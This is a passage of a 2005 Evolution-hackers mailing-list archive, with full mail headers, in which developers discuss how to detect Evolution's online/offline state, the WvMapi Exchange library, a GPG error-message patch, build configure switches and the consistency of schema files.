Content-Transfer-Encoding: 7bit References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> <1107331271.9861.83.camel@lostzed.mmc.com.au> <1107352529.17600.4.camel@bishop.rosevear.com> Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 02 Feb 2005 08:55:29 -0500, JP Rosevear wrote: > On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote: > > On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > > > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > > > > > Isn't there a gconf key that determines the state? Or does that just > > > > > determine the startup state? > > > > > > > > The current state is stored in gconf, but it is NOT the appropriate > > > > way to determine when it changes. > > > > > > > > It is private data used by the shell only. > > > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > > > switch between online/offline modes. > > > > Umm, thats pretty shitty then isn't it? > > Why? Really there should be a desktop wide setting for online/offline > that is either a gconf key or arrives via DBUS. If we rely on evolution > to inform e-d-s, anything else using e-d-s externally may cause online > operations. It does suck that evolution is the only place to set the > key right now. There has been discussion of having networkmanager provide such a thing, but since that really only works on Fedora ATM, it hasn't gone very far. Luis From stephane@cs.york.ac.uk Wed Feb 2 09:04:34 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7AE9E12439C; Wed, 2 Feb 2005 09:04:34 -0500 (EST) Received: from mailgw.cs.york.ac.uk (mailgw.cs.york.ac.uk [144.32.40.3]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 4F72D124358 for ; Wed, 2 Feb 2005 09:04:31 -0500 (EST) Received: from minster.cs.york.ac.uk ([144.32.40.2]) by mailgw.cs.york.ac.uk with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1CwL3K-00062C-DJ; Wed, 02 Feb 2005 14:00:18 +0000 Received: from pc153.cs.york.ac.uk ([144.32.41.154] ident=2103) by minster.cs.york.ac.uk with esmtp (Exim 4.44) id 1CwL3K-0002Ew-9D; Wed, 02 Feb 2005 14:00:18 +0000 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos To: JP Rosevear Cc: Evolution Hackers mailing list In-Reply-To: <1107263506.15530.1.camel@bishop.rosevear.com> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-rm/cZ9sqxonSGnkDhG73" Organization: Computer Science, The University of York Date: Wed, 02 Feb 2005 14:00:17 +0000 Message-Id: <1107352817.5969.3.camel@pc153> Mime-Version: 1.0 X-Mailer: Evolution 2.0.0 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-rm/cZ9sqxonSGnkDhG73 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Le mardi 01 f=C3=A9vrier 2005 =C3=A0 08:11 -0500, JP Rosevear a =C3=A9crit = : >=20 > Isn't there a gconf key that determines the state? Or does that just > determine the startup state? >=20 > -JP Sorry but which one is that key? All I can find is this: /schemas/apps/evolution/shell/start_offline and this is not updated by the "offline/online button" Regards --=20 St=C3=A9phane Konstantaropoulos - Research Student, Computer Science -- University of York, http://www-users.cs.york.ac.uk/~stephane --=-rm/cZ9sqxonSGnkDhG73 Content-Type: application/pgp-signature; name=signature.asc Content-Description: Ceci est une partie de message =?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?= -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQBCANzxsZFoeToEeG4RApCJAJ9OqxC/hh4zpyna2yRW4kWmHbHhggCfT8nv 5Rv1nqeb6fKzpEdjsSCeBfc= =WrM+ -----END PGP SIGNATURE----- --=-rm/cZ9sqxonSGnkDhG73-- From notzed@ximian.com Wed Feb 2 09:48:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 181D4124741; Wed, 2 Feb 2005 09:48:35 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 0A37C124570 for ; Wed, 2 Feb 2005 09:48:32 -0500 (EST) Received: (qmail 21342 invoked from network); 2 Feb 2005 14:48:30 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 2 Feb 2005 14:48:30 -0000 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Not Zed To: JP Rosevear Cc: Sivaiah Nallagatla , ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107352529.17600.4.camel@bishop.rosevear.com> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> <1107331271.9861.83.camel@lostzed.mmc.com.au> <1107352529.17600.4.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-syKyYvBR7NqTnejbcyU5" Date: Wed, 02 Feb 2005 22:43:31 +0800 Message-Id: <1107355411.9862.90.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-syKyYvBR7NqTnejbcyU5 Content-Type: text/plain Content-Transfer-Encoding: 7bit On Wed, 2005-02-02 at 08:55 -0500, JP Rosevear wrote: > On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote: > > On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > > > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > > > > > Isn't there a gconf key that determines the state? Or does that just > > > > > determine the startup state? > > > > > > > > The current state is stored in gconf, but it is NOT the appropriate > > > > way to determine when it changes. > > > > > > > > It is private data used by the shell only. > > > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > > > switch between online/offline modes. > > > > Umm, thats pretty shitty then isn't it? > > Why? Really there should be a desktop wide setting for online/offline > that is either a gconf key or arrives via DBUS. If we rely on evolution > to inform e-d-s, anything else using e-d-s externally may cause online > operations. It does suck that evolution is the only place to set the > key right now. Because its a bad, naive solution. There is no way to do any cross-process synchronisation, or manage the change in state in any sane way. Using a gconf key is simply a trivial short-term hack that wont provide the features necessary to do it properly. --=-syKyYvBR7NqTnejbcyU5 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Wed, 2005-02-02 at 08:55 -0500, JP Rosevear wrote: 
On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote:
> On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: 
> > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote:
> > > 
> > > > Isn't there a gconf key that determines the state?  Or does that just
> > > > determine the startup state?
> > > 
> > > The current state is stored in gconf, but it is NOT the appropriate
> > > way to determine when it changes.
> > > 
> > > It is private data used by the shell only.
> > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to
> > switch between online/offline modes.
> 
> Umm, thats pretty shitty then isn't it?

Why?  Really there should be a desktop wide setting for online/offline
that is either a gconf key or arrives via DBUS.  If we rely on evolution
to inform e-d-s, anything else using e-d-s externally may cause online
operations.  It does suck that evolution is the only place to set the
key right now.

Because its a bad, naive solution.

There is no way to do any cross-process synchronisation, or manage the change in state in any sane way.

Using a gconf key is simply a trivial short-term hack that wont provide the features necessary to do it properly.


--=-syKyYvBR7NqTnejbcyU5-- From pcolijn@gmail.com Wed Feb 2 16:24:09 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7767712506B; Wed, 2 Feb 2005 16:24:09 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.197]) by lists.ximian.com (Postfix) with ESMTP id DD64E12441F for ; Wed, 2 Feb 2005 16:23:57 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 58so120644wri for ; Wed, 02 Feb 2005 13:23:57 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=GPnpzpRI4RqU7FNqHDeL9fZX318mdsIoVY7EzJLgAIXK+/0CRouMbSBXkJMj0HrVjR9ksoit0OS8bo5jbx9yuZ/+V/YEw/hoIfKntWYvXSzY+3NBQDgRCjNqReCVYdDJy0owHBwFyFR5jsT55ivpJQssIfpa+N504iaJbeuCIO8= Received: by 10.54.28.80 with SMTP id b80mr200839wrb; Wed, 02 Feb 2005 13:22:45 -0800 (PST) Received: by 10.54.54.67 with HTTP; Wed, 2 Feb 2005 13:22:43 -0800 (PST) Message-ID: <7c35b00e050202132272ff306d@mail.gmail.com> Date: Wed, 2 Feb 2005 13:22:43 -0800 From: Peter Colijn Reply-To: Peter Colijn To: Luke Kenneth Casson Leighton , evolution-hackers Subject: Fwd: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) In-Reply-To: <7c35b00e0502021321607b5bcb@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050201150641.GV5707@lkcl.net> <7c35b00e05020113275f998982@mail.gmail.com> <20050202114327.GJ15458@lkcl.net> <200502021555.23422.nocksj@sourcextreme.com> <7c35b00e0502021321607b5bcb@mail.gmail.com> X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Meant to send this to the list as well. ---------- Forwarded message ---------- From: Peter Colijn Date: Wed, 2 Feb 2005 13:21:36 -0800 Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) To: Jason Nocks Hi, On Wed, 2 Feb 2005 15:55:15 -0500, Jason Nocks wrote: > Yes, sounds very promising. > > This library relies on WvStreams, yes? Any other dependencies? Once upon a time WvMapi used to depend on glib as well, for some string-escaping functions. That dependenecy was removed, but the version currently available at open.nit.ca might still depend on glib. If you email evo-exchangeit-dev@lists.nit.ca somebody could probably help you out getting a more recent copy of WvMapi. Have fun, Peter From koke@amedias.org Wed Feb 2 16:36:46 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 99201124236; Wed, 2 Feb 2005 16:36:46 -0500 (EST) Received: from relay.unizar.es (relay.unizar.es [155.210.11.72]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id D941D1244B7; Wed, 2 Feb 2005 16:36:31 -0500 (EST) Received: from ababol (adsl229-164.unizar.es [155.210.229.164]) by relay.unizar.es (8.12.6/8.12.3) with ESMTP id j12LaEko008431; Wed, 2 Feb 2005 22:36:15 +0100 Received: by ababol (Postfix, from userid 1000) id C6FFC2C31F; Wed, 2 Feb 2005 08:02:53 +0100 (CET) From: Jorge Bernal To: Not Zed Subject: Re: [Evolution-hackers] Re: [evolution-patches] patch for #36142: Don't use acronyms as verbs in messages (camel-gpg-context.c) Date: Wed, 2 Feb 2005 08:02:51 +0100 User-Agent: KMail/1.7.2 Cc: evolution-hackers@lists.ximian.com, evolution-patches References: <200501241907.02376.koke@amedias.org> <200501312053.36697.koke@amedias.org> <1107313276.9865.51.camel@lostzed.mmc.com.au> In-Reply-To: <1107313276.9865.51.camel@lostzed.mmc.com.au> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200502020802.53023.koke@amedias.org> X-Mail-Scanned: Criba 2.0 + Clamd en Unizar X-Spam-Status: No, hits=-18.8 required=5.0 tests=IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_KMAIL autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: El Mi=E9rcoles 02 Febrero 2005 04:01, Not Zed escribi=F3: > I followed up on the bug yesterday. While fixing another bug, I > noticed that the error code really is only for system i/o errors - and > yet, in all other cases system errors do not contain this extra detail > at all. So I simply removed the specific errors and use the generic > 'execution failed' + strerror one. This is to help save the translators > some work, since the info was quite redundant anyway. > > So, sorry about having to discard your patch, but I think the new > solution is a lot simpler/cleaner and suitable in the long run. > No problem at all, I think it's a better solution :) =2D-=20 Jorge Bernal "Koke" Personal: koke@sindominio.net Jabber: koke@zgzjabber.ath.cx Blog: http://www.amedias.org/koke/ "Computer Science is no more about computers than astronomy is about=20 telescopes." - Edsger Dijkstra From nocksj@sourcextreme.com Wed Feb 2 15:45:36 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 75B131241AE; Wed, 2 Feb 2005 15:45:36 -0500 (EST) Received: from darkstar.nocks.com (dsl-207-245-69-6.cust.oldcity.dca.net [207.245.69.6]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id A58AC124453 for ; Wed, 2 Feb 2005 15:45:24 -0500 (EST) Received: from dsl-207-245-69-126.cust.oldcity.dca.net ([207.245.69.126] helo=[192.168.1.105]) by darkstar.nocks.com with asmtp (TLS-1.0:RSA_ARCFOUR_MD5:16) (Exim 4.34) id 1CwRCw-0001So-5P; Wed, 02 Feb 2005 15:34:38 -0500 From: Jason Nocks Organization: SourceXtreme, Inc. To: Luke Kenneth Casson Leighton Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Date: Wed, 2 Feb 2005 15:55:15 -0500 User-Agent: KMail/1.7.1 Cc: Peter Colijn , evolution-hackers@lists.ximian.com References: <20050201150641.GV5707@lkcl.net> <7c35b00e05020113275f998982@mail.gmail.com> <20050202114327.GJ15458@lkcl.net> In-Reply-To: <20050202114327.GJ15458@lkcl.net> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart2248404.zFpTrKgvHN"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502021555.23422.nocksj@sourcextreme.com> X-Spam-Status: No, hits=-33.2 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_KMAIL autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --nextPart2248404.zFpTrKgvHN Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline On Wednesday 02 February 2005 06:43 am, Luke Kenneth Casson Leighton wrote: > On Tue, Feb 01, 2005 at 01:27:27PM -0800, Peter Colijn wrote: > > Yeah, there are a lot of TNEF parsers :) > > > > As far as I know, WvMapi is one of the rare libraries that can > > actually encode TNEFs for you, as well as extracting data from them. > > oooooo goooood. Yes, sounds very promising. This library relies on WvStreams, yes? Any other dependencies? Cheers, Jason Nocks --nextPart2248404.zFpTrKgvHN Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQBCAT473CryLfCgqRkRAvckAKCIyohnOD00XHyvCfhuz+6C0SqASgCfQ7of n3ZnxcSEFk9ygt79RRpmqt8= =EPHO -----END PGP SIGNATURE----- --nextPart2248404.zFpTrKgvHN-- From owner-evolution-hackers@skeptopotamus.ximian.com Thu Feb 3 09:45:32 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0A515124BAA; Thu, 3 Feb 2005 09:45:31 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 6C052125166 for ; Thu, 3 Feb 2005 09:44:17 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id E49ED64840; Thu, 3 Feb 2005 09:43:11 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from brmea-mail-3.sun.com (brmea-mail-3.Sun.COM [192.18.98.34]) by skeptopotamus.ximian.com (Postfix) with ESMTP id A6A0764832 for ; Thu, 3 Feb 2005 09:43:11 -0500 (EST) Received: from phys-mayi-1 ([129.157.128.114]) by brmea-mail-3.sun.com (8.12.10/8.12.9) with ESMTP id j13Eh9W2013582 for ; Thu, 3 Feb 2005 07:43:11 -0700 (MST) Received: from conversion-daemon.mayi-mail1.germany.sun.com by mayi-mail1.germany.sun.com (iPlanet Messaging Server 5.2 HotFix 1.24 (built Dec 19 2003)) id <0IBC00L01BDKN6@mayi-mail1.germany.sun.com> (original mail from Frank.Schoenheit@Sun.COM) for evolution-hackers@ximian.com; Thu, 03 Feb 2005 15:43:09 +0100 (MET) Received: from [129.157.136.31] (sr-eham02-02.Germany.Sun.COM [129.157.136.31]) by mayi-mail1.germany.sun.com (iPlanet Messaging Server 5.2 HotFix 1.24 (built Dec 19 2003)) with ESMTPA id <0IBC0044IBJWED@mayi-mail1.germany.sun.com>; Thu, 03 Feb 2005 15:43:09 +0100 (MET) Date: Thu, 03 Feb 2005 16:43:08 +0200 From: =?ISO-8859-1?Q?Frank_Sch=F6nheit?= In-reply-to: <1107254982.12881.18.camel@linux.site> To: michael.meeks@novell.com Cc: Jayant Balraj Madavi , JP Rosevear , evolution Message-id: <4202387C.2010907@sun.com> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: 8BIT X-Accept-Language: en-us, en User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.3) Gecko/20040919 References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> X-Spam-Status: No, hits=-20.3 required=5.0 tests=BAYES_30,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_MOZILLA_UA autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: dlopen / API hooks for evolution ... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Michael, > I suggest we make it easy to disable the evoution2.0 integration, and > have it default disabled in the build until such time as you want it > built & can be bothered to do this extra, unpleasant work. I talked with again with RE, and it seems we had a misunderstanding (cause by my ignorance/nescience :-\ ). I think the solution with adding a switch to enable/disable the feature is fine, you should just ensure that it follows the usual mechanisms, i.e. create a configure switch, and check the availability of the pre-requisites during configure. Thanks & Ciao Frank -- - Frank Schönheit, Software Engineer frank.schoenheit@sun.com - - Sun Microsystems, Inc. http://www.sun.com - - OpenOffice.org Database Access http://dba.openoffice.org - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - From owner-evolution-hackers@skeptopotamus.ximian.com Thu Feb 3 23:52:05 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 296541240E5; Thu, 3 Feb 2005 23:52:05 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id AD90D12468D for ; Thu, 3 Feb 2005 23:51:53 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 73E5263070; Thu, 3 Feb 2005 23:51:53 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from BLR-DSMASTER.BLR.NOVELL.COM (unknown [202.144.86.147]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "blr-dsmaster", Issuer "ISPORTAL" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id F0C7E630BF for ; Thu, 3 Feb 2005 23:51:51 -0500 (EST) Received: from [164.99.152.104] (linux00065b7dc215.blr.novell.com [164.99.152.104]) by BLR-DSMASTER.BLR.NOVELL.COM; Fri, 04 Feb 2005 10:21:30 +0530 From: jayant M To: michael.meeks@novell.com Cc: Frank =?ISO-8859-1?Q?Sch=F6nheit?= , JP Rosevear , evolution In-Reply-To: <4202387C.2010907@sun.com> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> Content-Type: text/plain; charset=UTF-8 Date: Fri, 04 Feb 2005 10:18:59 +0530 Message-Id: <1107492539.21175.16.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 1.5.94.1 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-21.1 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: dlopen / API hooks for evolution ... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Michael, On Thu, 2005-02-03 at 16:43 +0200, Frank Schönheit wrote: > Hi Michael, > > > I suggest we make it easy to disable the evoution2.0 integration, and > > have it default disabled in the build until such time as you want it > > built & can be bothered to do this extra, unpleasant work. > > I talked with again with RE, and it seems we had a misunderstanding > (cause by my ignorance/nescience :-\ ). I think the solution with adding > a switch to enable/disable the feature is fine, you should just ensure > that it follows the usual mechanisms, i.e. create a configure switch, > and check the availability of the pre-requisites during configure. We had earlier created "dlopen hack" for evo-lib dependancy. Can we remove it now!! Having a configure switch is clean. > > Thanks & Ciao > Frank > Regards, Jayant. From jpr@novell.com Fri Feb 4 15:39:19 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id F022C124903; Fri, 4 Feb 2005 15:39:19 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 4E7EF124D3E for ; Fri, 4 Feb 2005 15:39:08 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Fri, 04 Feb 2005 13:38:51 -0700 From: JP Rosevear To: Evolution Hackers mailing list Cc: Gnome-i18n@gnome.org Content-Type: text/plain Date: Fri, 04 Feb 2005 12:27:52 -0500 Message-Id: <1107538072.7848.26.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=8.5 required=5.0 tests=BAYES_60,DATE_IN_PAST_03_06,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Schema file issues Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: When looking at 61075 I noticed some inconsistency/issues with our schema files. I also looked at how we compared to the "de facto" style guide in: http://mail.gnome.org/archives/gnome-i18n/2003-July/msg00076.html Our long descriptions generally end in periods. Literal values are sometimes in quotes (but not always, useful tweak since the translators official guide actually says not to translate those quoted values for schemas). The descriptions all begin capitalized, but captalization after the first word is sometimes inconsistent (mostly we use lower case after the first word). We don't match the terminology in the UI in some cases, mostly it appears to be a legacy thing where we matched the description to the key name instead (which may or may not match the UI now). We use "If" in a couple places and "Whether" in more and for a lot of booleans we use neither. So, my original task morphed somewhat and I ended up tidying up the contacts, calendar and shell schema files (and cropped up some additional issues below), I started on the mailer but it has more than the other three combined so I started to get worried about the number of string changes this might involve total, so I'm CC'ing the gnome-i18n team as well. Comments? There are also some dead keys in some of the files that we only use when migrating now. I think removing them from the schema is not an issue, anyone think otherwise (/apps/evolution/shell/offline/folder_paths is an example). There are also 3 autocompletion schema entries in the addressbook schema file. I suspect we actually might want these in libedataserverui. Not sure where the keys should live (one key is actually dead other than for migration actually). Also, unless anyone objects, I'm going to make evolution-mail.schemas.in.in be consistent with the other schema file namings in the source tree. -JP -- JP Rosevear From notzed@ximian.com Fri Feb 4 20:15:20 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 6AFE5124A5B; Fri, 4 Feb 2005 20:15:20 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 0AD01124408 for ; Fri, 4 Feb 2005 20:15:09 -0500 (EST) Received: (qmail 26122 invoked from network); 5 Feb 2005 01:15:07 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 5 Feb 2005 01:15:07 -0000 Subject: Re: [Evolution-hackers] Schema file issues From: Not Zed To: JP Rosevear Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org In-Reply-To: <1107538072.7848.26.camel@bishop.rosevear.com> References: <1107538072.7848.26.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-DZSYS1RAtvJmTgWFgiS+" Date: Sat, 05 Feb 2005 09:10:03 +0800 Message-Id: <1107565803.26413.16.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 X-Spam-Status: No, hits=-17.3 required=5.0 tests=EMAIL_ATTRIBUTION,HTML_20_30,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-DZSYS1RAtvJmTgWFgiS+ Content-Type: text/plain Content-Transfer-Encoding: 7bit My opinion is 'who cares', its only for the registry editor, which shouldn't 